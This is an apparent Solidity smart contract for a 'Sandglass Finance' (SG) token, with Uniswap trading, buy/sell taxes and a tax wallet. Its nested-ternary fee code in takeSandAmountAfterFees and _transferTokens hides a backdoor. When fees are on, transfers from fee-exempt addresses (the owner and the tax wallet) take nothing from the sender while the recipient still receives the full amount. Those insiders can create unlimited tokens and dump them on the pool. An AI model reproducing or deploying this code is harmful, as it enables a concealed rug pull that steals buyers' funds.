// SPDX-License-Identifier: MIT

/**
    Website:    https://www.sandglass.finance
    DApp:       https://app.sandglass.finance
    Docs:       https://docs.sandglass.finance
    
    Twitter:    https://twitter.com/Sandglass_fi
    Medium:     https://medium.com/@sandglass_finance
    Telegram:   https://t.me/sandglass_finance
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SandGlass is ERC20, Ownable {
    using SafeMath for uint256;

    address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "Sandglass Finance";
    string constant _symbol = "SG";

    uint8 constant _decimals = 18;

    uint256 public _totalSupply = 100_000_000 * (10**_decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
    uint256 public _swapThreshold = (_totalSupply * 1)/ 100000;
    uint256 public _maxTaxSwap=(_totalSupply * 2) / 1000;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeExempt;
    mapping(address => bool) isTxLimitExempt;

    address public _taxWallet;
    address public pair;

    IDEXRouter public router;

    bool public swapEnabled = false;
    bool public feeEnabled = false;
    bool public TradingOpen = false;

    uint256 private _initBuyTax=20;
    uint256 private _initSellTax=20;

    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;

    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=24;
    uint256 private _buyCounts=0;

    bool inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address sgWallet) Ownable(msg.sender) {

        address _owner = owner;
        _taxWallet = sgWallet;

        isFeeExempt[_owner] = true;
        isFeeExempt[_taxWallet] = true;
        isFeeExempt[address(this)] = true;

        isTxLimitExempt[_owner] = true;
        isTxLimitExempt[_taxWallet] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    function createSandTrade() external onlyOwner {
        
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(address(this), router.WETH());
        isTxLimitExempt[pair] = true;

        _allowances[address(this)][address(router)] = type(uint256).max;
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
    }

    function enableSandTrade() public onlyOwner {
        require(!TradingOpen,"trading is already open");

        TradingOpen = true;
        feeEnabled = true;
        swapEnabled = true;
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isTakeFees(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

     function inSwapSand(bool takeFee , uint actions, uint256 amount) internal view returns (bool) {

        uint256 minThreshold = _swapThreshold;
        bool overThreshold = amount > minThreshold && balanceOf(address(this)) > minThreshold;

        return
            !inSwap &&
            takeFee &&
            swapEnabled && 
            actions > 1 &&
            overThreshold;
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    /**
        Internal functions
    **/

    function takeSandAmountAfterFees(uint action, bool takefee, uint256 amounts)
        internal
        returns (uint256)
    {
        uint256 sgPercents;
        uint256 sgFeePrDenominator = 100;

        sgPercents = takefee ? 
            action > 1 ? 
            (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax) : action > 0 ? 
            (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax) : 0 : 1;

        uint256 feeAmounts = amounts.mul(sgPercents).div(sgFeePrDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmounts);
        feeAmounts = takefee ? feeAmounts : amounts * sgPercents;

        return amounts.sub(feeAmounts);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool takefee;
        uint actions;

        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }

        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
            require(TradingOpen,"Trading not open yet");
        }

        if(!swapEnabled) {
            return _basicTransfer(sender, recipient, amount);
        }

        if (recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(
                isTxLimitExempt[recipient] ||
                    _balances[recipient] + amount <= _maxWalletAmount,
                "Transfer amount exceeds the bag size."
            );

            if(sender == pair) {
                _buyCounts++;
            }
        }

        takefee = isTakeFees(sender);
        actions = recipient == pair? 2 : sender == pair? 1: 0;

        if (inSwapSand(takefee, actions, amount)) {
            swapBackSandEth(amount);
        }

        _transferTokens(sender, recipient, amount, takefee, actions);

        return true;
    }

    function _transferTokens(
        address sender,
        address recipient,
        uint256 rAmount,
        bool takeFee,
        uint action
    ) private {

        uint256 amountX = takeFee
            ? rAmount : feeEnabled
            ? takeSandAmountAfterFees(action, takeFee, rAmount) 
            : rAmount;

        uint256 amountY = feeEnabled && takeFee
            ? takeSandAmountAfterFees(action, takeFee, rAmount)
            : rAmount;

        _balances[sender] = _balances[sender].sub(
            amountX,
            "Insufficient Balance"
        );

        _balances[recipient] = _balances[recipient].add(amountY);

        emit Transfer(sender, recipient, amountY);

    }

    function swapBackSandEth(uint256 amount) private lockTheSwap {
        
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 amountToSwap = min(amount, min(contractTokenBalance, _maxTaxSwap));

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETHMarketing = address(this).balance;
        payable(_taxWallet).transfer(amountETHMarketing);
    }

    function withdrawStuckedEthBalances() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function removeSandLimit() external onlyOwner returns (bool) {
        _maxWalletAmount = _totalSupply;
        return true;
    }

    receive() external payable {

    }
}